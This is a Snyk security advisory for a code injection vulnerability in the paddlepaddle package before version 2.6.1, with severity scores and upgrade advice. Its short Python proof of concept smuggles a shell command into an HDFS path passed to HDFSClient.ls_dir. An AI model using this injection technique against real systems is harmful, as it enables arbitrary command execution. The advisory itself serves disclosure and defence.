Code Injection Affecting paddlepaddle package, versions [,2.6.1)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-PADDLEPADDLE-6419223
  • published 8 Mar 2024
  • disclosed 7 Mar 2024
  • credit ranjit-git

How to fix?

Upgrade paddlepaddle to version 2.6.1 or higher.

Overview

paddlepaddle is a Parallel Distributed Deep Learning

Affected versions of this package are vulnerable to Code Injection due to improper validation of user-supplied input. An attacker can execute arbitrary code on the system by sending a crafted request.

PoC


from paddle.distributed.fleet.utils import HDFSClient

hadoop_home = "/home/client/hadoop-client/hadoop/"
configs = {
 "fs.default.name": "hdfs://xxx.hadoop.com:54310",
 "hadoop.job.ugi": "hello,hello123" }
client = HDFSClient(hadoop_home, configs)
subdirs, files = client.ls_dir("hdfs:/test_hdfs_client;touch ~/hacked.txt;")

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
9.4 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    Low